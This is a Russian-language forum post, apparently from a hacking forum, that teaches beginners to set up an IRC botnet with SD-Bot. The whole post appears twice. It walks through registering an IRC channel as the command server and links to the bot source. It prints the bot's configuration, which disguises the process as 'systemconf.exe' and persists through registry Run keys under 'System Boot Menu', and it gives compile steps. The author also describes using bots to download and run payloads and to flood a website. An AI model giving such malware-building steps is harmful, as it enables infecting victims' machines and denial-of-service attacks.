ZoRKeG
25.12.2012, 01:00
Статья возможно будет не интересна для продвинутых но для новичком она окажется весьма познавательной , да-да, знаю, IRC ботнеты не так актуальные как HTTP, но я расскажу как его можно умно использовать.
Небольшой эпизод из жизни ботнета.
Был у меня такой случай, накатали абузы на HTTP ботнет, а точнее, сайт на котором был ботнет и в итоге его заблокировали, спустя некоторое время мне ну очень сильно понадобилось повысить нагрузку на сайт, ботнета с нормальным количеством ботов у меня не было, но тут я вспомнил, что давненько был создавал IRC ботнет, решил его проверить и удивился, там были боты После я использовал команду загрузки ботами файла и дальнейшего его запуска, загрузил я им так бота на ново созданный HTTP ботнет, захожу в админку и всё прошло успешно, в итоге у меня хватило ботов, что бы жестко повысить нагрузку на сайт.
Теперь приступим к делу!
Что же нам понадобится?
1) IRC канал, на нем будут сидеть боты.
2) Исходник ботнета, я буду использовать SD-Bot 05b
Для регистрации канала нам нужен клиент IRC, допустим MIRC, скачали клиент, установили, запустили и зашли в него, далее добавляем в список IRC серверов следующий сервер: irc.yakimanka.net если нужно ввести порт то вводим 6667.
Подключаемся к каналу, если всё ок то в чат вводим /join #chanel_name
Вместо chanel_name вводим свое имя канала. Если такого канала нету то вы будете в нем одни и возле вашего ника будет стоять @, кстати, вам нужно зарегистрировать ещё и ник иначе вы будете как гость:
/NickServ register password email
password — ваш пароль.
email — ваш e-mail.
Примечание: в настройках клиента вы должны указать ваш ник и после эта команда зарегистрирует ваш ник на вас и ещё одно, когда будете в дальнейшем заходить на этот сервер то в главном окне сервера вам в конца скажут подтвердить ваш ник и для подтверждения вам выведут пример команды.
Теперь вернемся к нашему каналу, если вы главный в этом канале то вводим следующую команду /msg chanserv register chanel_name password description
chanel_name — имя вашего канала.
password — пароль вашего канала.
description — описание вашего канала.
Эта команда зарегистрирует этот канал на вас.
Всё, теперь вы создали свой собственный IRC канал!
Приступим к основной части — настройка и компиляция бота.
Для работы нам нужно скачать lcc-win, скачать который можно по ссылке: lcc-win (https://hpc.name/redirector.html#http://www.cs.virginia.edu/~lcc-win32/)
Пролистав немного ниже можно найти ссылки для скачивания, теперь вам нужен исходник самого бота, скачать его можно тут: SD-Bot (https://hpc.name/redirector.html#http://rghost.ru/42504501) пароль hpc.name
Розархивируйте содержимое архива в отдельную папку и там найдите файл sdbot051b.c — откройте его в любом текстовом редакторе и немного пролистайте вниз где вы и увидите настройки бота, подсказки в комментариях
source:
// bot configuration
const
char
botid[] =
"id"
;
// сюда ввести любое слово/значение
const
char
password[] =
"pass"
;
// пароль на ботов
const
int
maxlogins =
4
;
// maximum number of simultaneous logins
const
char
server[] =
"irc.yakimanka.net"
;
// сервер irc
const
int
port =
6667
;
// порт сервера
const
char
serverpass[] =
"pass"
;
// пароль сервера( на irc.yakimanka.net можно оставить пустым)
const
char
channel[] =
"#chanel_name"
;
// имя канала куда будут подключаться боты
const
char
chanpass[] =
""
;
// пароль канала, тоже можно оставить пустым
const
char
server2[] =
"irc.yakimanka.net"
;
// запасной сервер
const
int
port2 =
6667
;
// порт запасного сервера
const
char
channel2[] =
""
;
// запасной канала
const
char
chanpass2[] =
"pass"
;
//пароль запасного канала
const
BOOL
topiccmd =
FALSE
;
// set to TRUE to enable topic commands
const
BOOL
rndfilename =
FALSE
;
// use random file name
const
char
filename[] =
"systemconf.exe"
;
// Как будет отображаться процесс бота
const
BOOL
regrun =
TRUE
;
// use the Run registry key for autostart
const
BOOL
regrunservices =
TRUE
;
// use the RunServices registry key for autostart
const
char
valuename[] =
"System Boot Menu"
;
// Значение бота в автозагрузке
const
char
prefix =
'.'
;
// command prefix (one character max.)
const
char
version[] =
"sdbot v0.5b by [sd]"
;
// bot's VERSION reply
const
int
cryptkey =
0
;
// encryption key (not used right now)
const
int
maxaliases =
16
;
// maximum number of aliases (must be greater than the number of predefined aliases).
Сохранили исходник и теперь заходим в lcc-win ( Пуск->Все программы->lcc-win->lcc-win.exe ) в программе откроем наш исходник ( File->Open ), теперь нажмем Compile->Make (F9), на все ошибки кликаем Ок или Add lib
Готово, теперь в папке с исходником появилась папка lcc и там будет лежать наш готовый бот
Небольшой эпизод из жизни ботнета.
Был у меня такой случай, накатали абузы на HTTP ботнет, а точнее, сайт на котором был ботнет и в итоге его заблокировали, спустя некоторое время мне ну очень сильно понадобилось повысить нагрузку на сайт, ботнета с нормальным количеством ботов у меня не было, но тут я вспомнил, что давненько был создавал IRC ботнет, решил его проверить и удивился, там были боты После я использовал команду загрузки ботами файла и дальнейшего его запуска, загрузил я им так бота на ново созданный HTTP ботнет, захожу в админку и всё прошло успешно, в итоге у меня хватило ботов, что бы жестко повысить нагрузку на сайт.
Теперь приступим к делу!
Что же нам понадобится?
1) IRC канал, на нем будут сидеть боты.
2) Исходник ботнета, я буду использовать SD-Bot 05b
Для регистрации канала нам нужен клиент IRC, допустим MIRC, скачали клиент, установили, запустили и зашли в него, далее добавляем в список IRC серверов следующий сервер: irc.yakimanka.net если нужно ввести порт то вводим 6667.
Подключаемся к каналу, если всё ок то в чат вводим /join #chanel_name
Вместо chanel_name вводим свое имя канала. Если такого канала нету то вы будете в нем одни и возле вашего ника будет стоять @, кстати, вам нужно зарегистрировать ещё и ник иначе вы будете как гость:
/NickServ register password email
password — ваш пароль.
email — ваш e-mail.
Примечание: в настройках клиента вы должны указать ваш ник и после эта команда зарегистрирует ваш ник на вас и ещё одно, когда будете в дальнейшем заходить на этот сервер то в главном окне сервера вам в конца скажут подтвердить ваш ник и для подтверждения вам выведут пример команды.
Теперь вернемся к нашему каналу, если вы главный в этом канале то вводим следующую команду /msg chanserv register chanel_name password description
chanel_name — имя вашего канала.
password — пароль вашего канала.
description — описание вашего канала.
Эта команда зарегистрирует этот канал на вас.
Всё, теперь вы создали свой собственный IRC канал!
Приступим к основной части — настройка и компиляция бота.
Для работы нам нужно скачать lcc-win, скачать который можно по ссылке: lcc-win (https://hpc.name/redirector.html#http://www.cs.virginia.edu/~lcc-win32/)
Пролистав немного ниже можно найти ссылки для скачивания, теперь вам нужен исходник самого бота, скачать его можно тут: SD-Bot (https://hpc.name/redirector.html#http://rghost.ru/42504501) пароль hpc.name
Розархивируйте содержимое архива в отдельную папку и там найдите файл sdbot051b.c — откройте его в любом текстовом редакторе и немного пролистайте вниз где вы и увидите настройки бота, подсказки в комментариях
source:
// bot configuration
const
char
botid[] =
"id"
;
// сюда ввести любое слово/значение
const
char
password[] =
"pass"
;
// пароль на ботов
const
int
maxlogins =
4
;
// maximum number of simultaneous logins
const
char
server[] =
"irc.yakimanka.net"
;
// сервер irc
const
int
port =
6667
;
// порт сервера
const
char
serverpass[] =
"pass"
;
// пароль сервера( на irc.yakimanka.net можно оставить пустым)
const
char
channel[] =
"#chanel_name"
;
// имя канала куда будут подключаться боты
const
char
chanpass[] =
""
;
// пароль канала, тоже можно оставить пустым
const
char
server2[] =
"irc.yakimanka.net"
;
// запасной сервер
const
int
port2 =
6667
;
// порт запасного сервера
const
char
channel2[] =
""
;
// запасной канала
const
char
chanpass2[] =
"pass"
;
//пароль запасного канала
const
BOOL
topiccmd =
FALSE
;
// set to TRUE to enable topic commands
const
BOOL
rndfilename =
FALSE
;
// use random file name
const
char
filename[] =
"systemconf.exe"
;
// Как будет отображаться процесс бота
const
BOOL
regrun =
TRUE
;
// use the Run registry key for autostart
const
BOOL
regrunservices =
TRUE
;
// use the RunServices registry key for autostart
const
char
valuename[] =
"System Boot Menu"
;
// Значение бота в автозагрузке
const
char
prefix =
'.'
;
// command prefix (one character max.)
const
char
version[] =
"sdbot v0.5b by [sd]"
;
// bot's VERSION reply
const
int
cryptkey =
0
;
// encryption key (not used right now)
const
int
maxaliases =
16
;
// maximum number of aliases (must be greater than the number of predefined aliases).
Сохранили исходник и теперь заходим в lcc-win ( Пуск->Все программы->lcc-win->lcc-win.exe ) в программе откроем наш исходник ( File->Open ), теперь нажмем Compile->Make (F9), на все ошибки кликаем Ок или Add lib
Готово, теперь в папке с исходником появилась папка lcc и там будет лежать наш готовый бот